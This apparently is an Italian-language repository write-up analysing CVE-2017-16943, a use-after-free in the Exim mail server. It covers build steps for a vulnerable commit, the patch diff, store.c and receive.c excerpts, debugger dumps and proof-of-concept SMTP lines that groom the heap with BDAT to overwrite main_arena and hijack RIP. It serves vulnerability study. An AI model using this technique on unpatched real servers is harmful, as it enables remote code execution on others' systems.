beraphin/cve-2017-16943Analisi tecnica e proof-of-concept exploit per CVE-2017-16943, una vulnerabilità use-after-free in Exim MTA, con walkthrough di manipolazione dell'heap e hijacking del RIP.
git clone https://github.com/Exim/exim.git
git checkout 01c594601670c7e48e676d6c6d32d0f0084067fa
cd ./exim/src
mkdir Local
wget "https://bugs.exim.org/attachment.cgi?id=1051" -O Makefile
Modificare le variabili di percorso e il nome utente nel Makefile
cd ..
make -j8
sudo make install
Dopo l'installazione, modificare accept hosts = : in accept hosts = * nel file di configurazione.
Eseguire:
exim -bdf -d-receive
Questa vulnerabilità è un UAF (Use-After-Free) che si verifica nella funzione receive_msg in receive.c, utilizzata per ricevere input dal client. Visualizzare il record della patch:
src/src/receive.c | 7 ++++---
1 file changed, 4 insertions(+), 3 deletions(-)
diff --git a/src/src/receive.c b/src/src/receive.c
index e7e518a..d9b5001 100644
--- a/src/src/receive.c
+++ b/src/src/receive.c
@@ -1810,8 +1810,8 @@ for (;;)
(and sometimes lunatic messages can have ones that are 100s of K long) we
call store_release() for strings that have been copied - if the string is at
the start of a block (and therefore the only thing in it, because we aren't
- doing any other gets), the block gets freed. We can only do this because we
- know there are no other calls to store_get() going on. */
+ doing any other gets), the block gets freed. We can only do this release if
+ there were no allocations since the once that we want to free. */
if (ptr >= header_size - 4)
{
@@ -1820,9 +1820,10 @@ for (;;)
header_size *= 2;
if (!store_extend(next->text, oldsize, header_size))
{
+ BOOL release_ok = store_last_get[store_pool] == next->text;
uschar *newtext = store_get(header_size);
memcpy(newtext, next->text, ptr);
- store_release(next->text);
+ if (release_ok) store_release(next->text);
next->text = newtext;
}
}
Qui chiariamo prima il ruolo di alcune variabili globali:
current_block: Il storeblock corrente, quando si utilizza store_get_3 la prossima volta, si cerca prima in questo storeblock di spazio libero.
next_yield: Punta all'indirizzo iniziale del blocco libero in current_block. Di solito, la parte superiore di storeblock è occupata, mentre quella inferiore è libera.
yield_length: La lunghezza di next_yield.
Analizzando il PoC di meh, si può vedere che il programma non patchato può attivare l'UAF attraverso il seguente processo di disposizione dell'heap:
Innanzitutto, nella funzione receive_msg, fare in modo che next->text diventi il buffer iniziale di un storeblock:
Quindi, utilizzare il comando bdat per allocare un buffer sotto questo text.
Perché usare il comando bdat?
In realtà, comandi come auth plain o comandi illegali composti da caratteri non stampabili possono allocare un buffer sotto text, ma altre istruzioni faranno uscire la funzione receive_msg.
Entrando di nuovo in receive_msg, next->text punterà a un'altra area, quindi la vulnerabilità non può essere attivata.
Invece, il comando bdat non fa uscire la funzione receive_msg corrente, questo è molto importante.
Quindi, inviare continuamente caratteri per riempire next_text (inizialmente 0x100), poi il programma eseguirà il punto vulnerabile.
In store_extend, a causa del buffer bdat, non è possibile estendere, quindi viene eseguito store_get ottenendo l'area puntata da next_yield, e poi viene chiamata store_release.
In questa funzione, si controlla solo se il parametro di rilascio è all'inizio di un storeblock, ma non si controlla se ci sono altri buffer dopo di esso, e si libera direttamente lo storeblock.
Questo fa sì che l'indirizzo restituito da store_get sia ancora all'interno di current_block, ma subito dopo current_block viene liberato, causando un UAF.
Qui, insieme al codice PoC, spieghiamo passo dopo passo come dirottare RIP.
ehlo('test')
r.sendline("MAIL FROM:<test@localhost>")
r.recvline()
r.sendline("RCPT TO:<test@localhost>")
r.recvline()
unrec('a'*0x1100+'\x7f')
Prima di tutto, inviamo una grande quantità di dati per fare in modo che yield_length sia minore di 0x130 ma maggiore di 0x30.
Perché è necessario? Guardiamo l'inizio della funzione receive_msg:
...
File: receive.c
1700: received_header = header_list = header_last = store_get(sizeof(header_line));
1701: header_list->next = NULL;
1702: header_list->type = htype_old;
1703: header_list->text = NULL;
1704: header_list->slen = 0;
1705:
1706: /* Control block for the next header to be read. */
1707:
1708: next = store_get(sizeof(header_line));
1709: next->text = store_get(header_size);
...
Si può notare che prima di allocare next->text, vengono allocati due buffer di dimensione sizeof(header_line), che è 0x18.
Quindi, se dopo l'allocazione di questi due blocchi da 0x18 rimane uno spazio yield_length minore di 0x100, allora nell'allocazione di next->text tramite store_get verrà allocato un nuovo storeblock e next->text sarà all'inizio di questo storeblock.
Quindi, inviamo il comando bdat:
r.sendline('BDAT 1')
r.sendline(':BDAT \xdd')
Questo comando contiene un carattere non stampabile che farà chiamare store_get per allocare un buffer per memorizzare il messaggio di errore:
pwndbg> hexdump 0x71d0e0
+0000 0x71d0e0 42 44 41 54 20 5c 33 33 35 00 20 63 68 75 6e 6b │BDAT│.\33│5..c│hunk│
+0010 0x71d0f0 35 30 31 20 6d 69 73 73 69 6e 67 20 73 69 7a 65 │501.│miss│ing.│size│
+0020 0x71d100 20 66 6f 72 20 42 44 41 54 20 63 6f 6d 6d 61 6e │.for│.BDA│T.co│mman│
+0030 0x71d110 64 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │d...│....│....│....│
(Anche i comandi illegali contenenti caratteri non stampabili causano l'allocazione di blocchi heap aggiuntivi.)
A questo punto, inviamo continuamente caratteri:
unrec('a'*6 + p64(0xdeadbeef)*(0x1e00/8))
Ora, byte per byte, i caratteri ricevuti vengono inseriti in next->text. Quando l'area libera di 0x100 è piena, viene eseguito il codice vulnerabile per estendere la dimensione di next->text.
Prima si entra in store_extend(next->text, oldsize, header_size) per tentare un'estensione diretta:
File: store.c
266: BOOL
267: store_extend_3(void *ptr, int oldsize, int newsize, const char *filename,
268: int linenumber)
269: {
270: int inc = newsize - oldsize;
271: int rounded_oldsize = oldsize;
272:
273: if (rounded_oldsize % alignment != 0)
274: rounded_oldsize += alignment - (rounded_oldsize % alignment);
275:
276: if (CS ptr + rounded_oldsize != CS (next_yield[store_pool]) ||
277: inc > yield_length[store_pool] + rounded_oldsize - oldsize)
278: return FALSE;
...
La condizione principale è alle righe 276~277.
La prima condizione verifica se il puntatore da estendere ptr è immediatamente seguito da next_yield.
La seconda condizione verifica se, aggiungendo la dimensione di next_yield (cioè yield_length), è sufficiente.
Ovviamente la prima condizione non è soddisfatta, perché dopo next->text c'è un buffer bdat e solo dopo c'è next_yield.
Poi si entra in store_get per allocare un nuovo blocco, allocato a next_yield.
Successivamente si chiama store_release per rilasciare il vecchio next_text. Notare la logica di controllo:
File: store.c
448: void
449: store_release_3(void *block, const char *filename, int linenumber)
450: {
451: storeblock *b;
452:
453: /* It will never be the first block, so no need to check that. */
454:
455: for (b = chainbase[store_pool]; b != NULL; b = b->next)
456: {
457: storeblock *bb = b->next;
458: if (bb != NULL && CS block == CS bb + ALIGNED_SIZEOF_STOREBLOCK)
459: {
...
482: free(bb);
483: return;
484: }
485: }
486: }
487:
Il programma scorre la catena di storeblock a partire da chainbase seguendo il puntatore next, fino a trovare che il blocco da rilasciare si trova all'inizio di qualche storeblock (seconda condizione della riga 455).
Allora questo storeblock viene liberato.
Ma ora current_block punta ancora a questo blocco heap, e il nuovo next_text è ancora all'interno dello stesso blocco, quindi si verifica un UAF.
Dopo il rilascio del blocco heap, current_block viene inserito in unsortedbin:
pwndbg> tel ¤t_block
00:0000│ 0x6e8ec0 (current_block) —▸ 0x71cfd0 —▸ 0x7ffff69abb78 (main_arena+88) —▸ 0x725020 ◂— 0x0
01:0008│ 0x6e8ec8 (current_block+8) —▸ 0x723010 ◂— 0x0
02:0010│ 0x6e8ed0 (current_block+16) ◂— 0x0
... ↓
04:0020│ 0x6e8ee0 (chainbase) —▸ 0x70ff80 ◂— 0x0
05:0028│ 0x6e8ee8 (chainbase+8) —▸ 0x6f3b30 —▸ 0x6f8cb0 —▸ 0x71eff0 —▸ 0x723010 ◂— ...
06:0030│ 0x6e8ef0 (chainbase+16) ◂— 0x0
... ↓
pwndbg>
A questo punto, main_arena viene aggiunto alla catena di storeblock.
Con l'inserimento continuo di caratteri, il vecchio next->text chiama ripetutamente store_extend per estendere la dimensione.
Anche se current_block è già stato rilasciato, next_yield punta ancora all'interno di current_block, permettendo a next->text di estendersi tramite store_extend fino a riempire l'intero current_block.
Alla fine, quando non è più possibile estendere, si entra di nuovo in store_get per ottenere un nuovo blocco heap:
File: store.c
128: void *
129: store_get_3(int size, const char *filename, int linenumber)
130: {
...
137: if (size % alignment != 0) size += alignment - (size % alignment);
138:
139: /* If there isn't room in the current block, get a new one. The minimum
140: size is STORE_BLOCK_SIZE, and we would expect this to be the norm, since
141: these functions are mostly called for small amounts of store. */
142:
143: if (size > yield_length[store_pool])
144: {
145: int length = (size <= STORE_BLOCK_SIZE)? STORE_BLOCK_SIZE : size;
146: int mlength = length + ALIGNED_SIZEOF_STOREBLOCK;
147: storeblock * newblock = NULL;
148:
149: /* Sometimes store_reset() may leave a block for us; check if we can use it */
150:
151: if ( (newblock = current_block[store_pool])
152: && (newblock = newblock->next)
153: && newblock->length < length
154: )
155: {
156: /* Give up on this block, because it's too small */
157: store_free(newblock);
158: newblock = NULL;
159: }
...
Si può vedere che alle righe 151~153 il programma tenta di ottenere current_block->next e verifica se questo blocco è sufficiente per l'allocazione; se non lo è, lo libera.
Notare che current_block ora si trova in unsorted bin; current_block->next punta a main_arena. L'ultima condizione non sarà soddisfatta, quindi newblock = main_arena.
File: store.c
176: current_block[store_pool] = newblock;
177: yield_length[store_pool] = newblock->length;
178: next_yield[store_pool] =
179: (void *)(CS current_block[store_pool] + ALIGNED_SIZEOF_STOREBLOCK);
180: (void) VALGRIND_MAKE_MEM_NOACCESS(next_yield[store_pool], yield_length[store_pool]);
181: }
...
186: store_last_get[store_pool] = next_yield[store_pool];
...
211: return store_last_get[store_pool];
A questo punto, il programma tratta direttamente main_arena come un nuovo buffer, e immediatamente dopo, alla riga 1824, copia il contenuto del vecchio blocco nel nuovo blocco, sovrascrivendo main_arena.
File: receive.c
1816: if (ptr >= header_size - 4)
1817: {
1818: int oldsize = header_size;
1819: /* header_size += 256; */
1820: header_size *= 2;
1821: if (!store_extend(next->text, oldsize, header_size))
1822: {
1823: uschar *newtext = store_get(header_size);
1824: memcpy(newtext, next->text, ptr);
1825: store_release(next->text);
1826: next->text = newtext;
1827: }
1828: }
Questa sovrascrittura sovrascrive direttamente free_got, quindi successivamente, con qualsiasi operazione, possiamo dirottare RIP.